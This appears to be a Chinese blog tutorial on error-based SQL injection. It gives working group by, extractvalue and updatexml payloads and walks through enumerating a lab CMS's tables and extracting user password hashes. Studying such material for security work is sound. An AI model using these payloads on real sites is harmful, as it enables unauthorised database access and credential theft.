SQL 注入——报错注入

报错注入

在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,就是在错误信息中执行 SQL 语句。

group by

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

updatexml

显示长度有限制,可以拆分查询

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

在这里插入图片描述

当 sql 语句出现闭合时,显示报错信息

在这里插入图片描述

在报错信息后加报错查询

and updatexml(1,concat(0x5e,(select database()),0x5e),1)

image-20231106171116197

爆破账号密码

查看当前数据库

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+

image-20231106183739392

查看当前数据库中的表

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()),0x5e)) --+

报错返回多于一行

image-20231106184216182

加限制条件,一次查询一条,从 limit 1,1 开始,直到查到 limit 7,1 出现 cms_users 表可能存在用户信息

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e)) --+

image-20231106185713272

查看表中字段

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),0x5e)) --+

image-20231106190158545

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 2,1),0x5e)) --+

image-20231106190235156

查询用户名和密码

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select group_concat(username,':',password) from cms_users),0x5e)) --+

image-20231106190550015

解密

image-20231106190625429

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值